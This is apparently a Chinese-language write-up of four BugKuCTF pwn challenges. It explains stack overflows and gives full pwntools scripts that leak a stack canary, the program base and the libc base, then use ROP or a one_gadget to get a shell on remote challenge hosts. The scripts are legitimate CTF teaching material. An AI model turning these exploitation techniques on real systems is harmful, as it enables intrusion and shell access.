前言
整理BugKuCTF中PWN题WriteUp;
pwn1
一道与pwn无关的pwn题!
首先nc连接到服务器;根据题目描述,输入ls命令查看,发现flag文件;打开flag文件,内容即为flag;
pwn2
栈溢出ROP执行已有指令!
在ubuntu18.04下执行如下;
checksec查看,发现无保护措施;
在IDA中分析,main()伪代码如下;
分析有一个输入、两个输出,没有flag相关信息;
其中:
memset()函数被称为初始化内存的“万能函数”,通常为新申请的内存进行初始化工作。它是直接操作内存空间,mem即“内存”(memory)的意思。该函数的原型为:
1
2
void *memset(void *s, int c, unsigned long n);函数的功能是:将指针变量s所指向的前n字节的内存单元用一个“整数”c替换,注意c是int型。s是void*型的指针变量,所以它可以为任何类型的数据进行初始化。
memset()的作用是在一段内存块中填充某个给定的值。因为它只能填充一个值,所以该函数的初始化为原始初始化,无法将变量初始化为程序中需要的数据。用memset()函数初始化完后,后面程序中再向该内存空间中存放需要的数据。
此处memset()函数初始化变量s,长度为
30h
字节,用于后续通过read()函数将输入内容赋值给s,但是read()函数最多可以读取100h
字节赋值给s,可能造成栈溢出;在函数列表发现get_shell_()函数,查看伪代码;
发现有
cat flag
操作,要得到flag,就需要执行get_shell_()函数;利用read()函数进行栈溢出ROP执行get_shell_()函数,只需覆盖s和RBP指针,写入get_shell_()函数地址即可执行;
在IDA中获取get_shell_()函数的内存地址为
0x400751
;构造
payload='a'*0x30+'a'*0x8+p64(0x400751)
,具体payload.py
如下1
2
3
4
5
6
7
8
9#! /usr/bin/python
#-*-coding:utf-8-*-
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./pwn2')
get_shell_ = p64(0x400751)
payload = 'a'*(0x30+0x8)+get_shell_
p.sendline(payload)
p.interactive()执行payload,发现可以执行
cat flag
,但是本地文件中并无flag,需要远程执行;重新构造payload如下;
1
2
3
4
5
6
7
8
9#! /usr/bin/python
#-*-coding:utf-8-*-
from pwn import *
context(os='linux',arch='amd64')
p = remote('114.67.246.176','15094')
get_shell_ = p64(0x400751)
payload = 'a'*(0x30+0x8)+get_shell_
p.sendline(payload)
p.interactive()执行payload,拿到flag如下;
pwn3
护盾全开的栈溢出!
checksec查看,保护全开;
在IDA中分析,核心函数
vul()
函数如下;分析
-
vul()
函数,发现两个read()
函数,即存在两个溢出点;第一个read()
用于栈溢出,并且溢出长度自定义。在第一个read()
栈溢出后,if检测到过长,第二次read()
时,只需字符串长度小于624
即可; - 由于保护全开,因此需要多次溢出获取canary和基址;
- 每次溢出原理基本相同:程序每执行一次
vul()
函数会有两次read()
操作,第一次read()
后紧跟puts()
,puts()
是通过\x00
截断输出字符串,因此只需要第一次read()
覆盖\x00
然后用puts()
溢出一个值,接着在第二个read中修改ret地址劫持流程跳转回main()
函数用于恢复栈即可,通过多次调用vul函数来泄漏所有需要的值;
-
步骤
泄漏canary
canary在rbp上面即
var_8
,根据canary最低位为\x00
的特点,将其最低位覆盖,在之后puts
打印出canary;第二次输入绕过canary保护,PIE保护会导致程序的地址随机化,但是后三位是不会变的,例如第二次输入完后程序的返回地址
main+e
的后三位就是0xd2e
,利用输入用20
覆盖2e
,程序就会再次运行main函数;泄漏canary的payload如下;
1
2
3
4
5
6
7
8
9
10
11
12
13# leak canary
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
p.sendline('a'*600)
p.recvuntil('aaa\n')
canary_addr=u64("\x00"+p.recv(7))
log.success('canary:'+hex(canary_addr))
p.recvuntil("(len is 624)\n")
return_main = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + '\x20'
p.send(return_main)
泄漏基址
main()
函数通过call
指令调用vul()
函数,而call
指令会将下一条指令的地址压栈,vul()
函数执行完毕后,ret
指令会将RIP指向call
指令的后一条指令的地址,因此vul()
函数的ret
值相对于程序基址的偏移是0xD2E
;泄漏基址的payload如下;
1
2
3
4
5
6
7
8
9
10
11
12# leak base_elf
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
p.sendline('a'*(600+8+7))
p.recvuntil('aaa\n')
base_elf = u64(p.recv(6)+"\x00\x00") - 0xD2E
log.success('elf:'+hex(base_elf))
p.recvuntil("(len is 624)\n")
p.send(return_main)
泄漏libc基址
借助base_elf调用
read()
函数输出read()
函数的真实地址,由于read
函数是libc函数,减去其偏移即可得到libc基址,偏移地址为0x0F7250
;泄漏libc基址的payload如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21# leak libc
p.recvuntil("path:\n")
libc=ELF('./read_note')
puts_plt = libc.plt['puts']
read_got = libc.got['read']
pop_rdi = 0xE03
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
main_addr = base_elf + 0xD20
payload1 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf) + p64(read_got+base_elf) + p64(puts_plt+base_elf) + p64(main_addr)
p.sendline(payload1)
p.recvuntil(")\n")
payload2 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf)
p.send(payload2)
read_addr = u64(p.recv(6)+"\x00\x00")
libc_addr = read_addr-0x0F7250
log.success('libc:'+hex(libc_addr))
getShell
修改返回地址为
/bin/sh
的地址,即可getshell,其中/bin/sh
相对于libc基址的偏移地址设为0xF1147
,此处涉及到one_gadget工具;getShell的payload如下;
1
2
3
4
5
6
7
8
9
10
11# get shell
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
p.sendline('a'*600)
p.recvuntil("(len is 624)\n")
payload3 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(libc_addr+0xF1147)
p.send(payload3)
p.interactive()
最终payload如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64from pwn import *
p = remote("114.67.246.176", 15482)
#p = process('./read_note')
libc=ELF('./read_note')
puts_plt = libc.plt['puts']
read_got = libc.got['read']
pop_rdi = 0xE03
# leak canary
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
p.sendline('a'*600)
p.recvuntil('aaa\n')
canary_addr=u64("\x00"+p.recv(7))
log.success('canary:'+hex(canary_addr))
p.recvuntil("(len is 624)\n")
return_main = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + '\x20'
p.send(return_main)
# leak base_elf
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
p.sendline('a'*(600+8+7))
p.recvuntil('aaa\n')
base_elf = u64(p.recv(6)+"\x00\x00") - 0xD2E
log.success('elf:'+hex(base_elf))
p.recvuntil("(len is 624)\n")
p.send(return_main)
# leak libc
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
main_addr = base_elf + 0xD20
payload1 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf) + p64(read_got+base_elf) + p64(puts_plt+base_elf) + p64(main_addr)
p.sendline(payload1)
p.recvuntil(")\n")
payload2 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf)
p.send(payload2)
read_addr = u64(p.recv(6)+"\x00\x00")
libc_addr = read_addr-0x0F7250
log.success('libc:'+hex(libc_addr))
# get shell
p.recvuntil("path:\n")
p.sendline("flag")
p.recvuntil("len:\n")
p.sendline("1000")
p.recvuntil("note:\n")
p.sendline('a'*600)
p.recvuntil("(len is 624)\n")
payload3 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(libc_addr+0xF1147)
p.send(payload3)
p.interactive()执行payload,成功getshell;
pwn4
checksec查看,开启了canary和NX保护;
放入IDA中分析;
main()
函数hint()
函数分析
-
main()
函数两次read
操作读取的空间大于写入的空间,可以泄漏内存; - 由于开启了canary保护,要泄漏canary;
-
hint()
函数中存在system
调用,可以利用其执行system('/bin/sh')
;
-
步骤
泄漏canary
canary在rbp上面即
var_8
,根据canary最低位为\x00
的特点,将其最低位覆盖,在之后puts
打印出canary;payload如下
1
2
3
4
5
6# leak canary
p.recvuntil("Please leave your name(Within 36 Length):")
p.send('a'*(0x240-0x08)+'b')
p.recvuntil('a'*(0x241-0x08)+'b')
canary_addr=u64("\x00"+p.recv(7))
log.success('canary:'+hex(canary_addr))
getshell
获取system的plt,binsh的got,以及
pop rdi;ret
位置:ROPgadget --binary ./pwn4 | grep "pop rdi ; ret"
;利用第二个
read
覆盖返回地址,跳转到执行system(/bin/sh)
;payload如下;
1
2
3
4
5
6
7
8
9
10
11elf = ELF('./pwn4')
system_plt = elf.plt['system']
log.success('system_plt:'+hex(system_plt))
binsh_got = elf.search("/bin/sh\x00").next()
log.success('binsh_got:'+hex(binsh_got))
pop_rdi_ret = 0x0000000000400963
p.recvuntil("Please leave a message(Within 0x200 Length):")
payload = 'a'*(0x210-8) + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(binsh_got) + p64(system_plt)
p.sendline(payload)
p.interactive()
最终payload如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from pwn import *
p = remote('114.67.246.176',13645)
# p = process('./pwn4')
# context.log_level = 'debug'
# leak canary
p.recvuntil("Please leave your name(Within 36 Length):")
p.send('a'*(0x241-0x08))
p.recvuntil('a'*(0x241-0x08))
canary_addr=u64("\x00"+p.recv(7))
log.success('canary:'+hex(canary_addr))
elf = ELF('./pwn4')
system_plt = elf.plt['system']
log.success('system_plt:'+hex(system_plt))
binsh_got = elf.search("/bin/sh\x00").next()
log.success('binsh_got:'+hex(binsh_got))
pop_rdi_ret = 0x0000000000400963
p.recvuntil("Please leave a message(Within 0x200 Length):")
payload = 'a'*(0x210-8) + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(binsh_got) + p64(system_plt)
p.sendline(payload)
p.interactive()执行payload,成功getshell;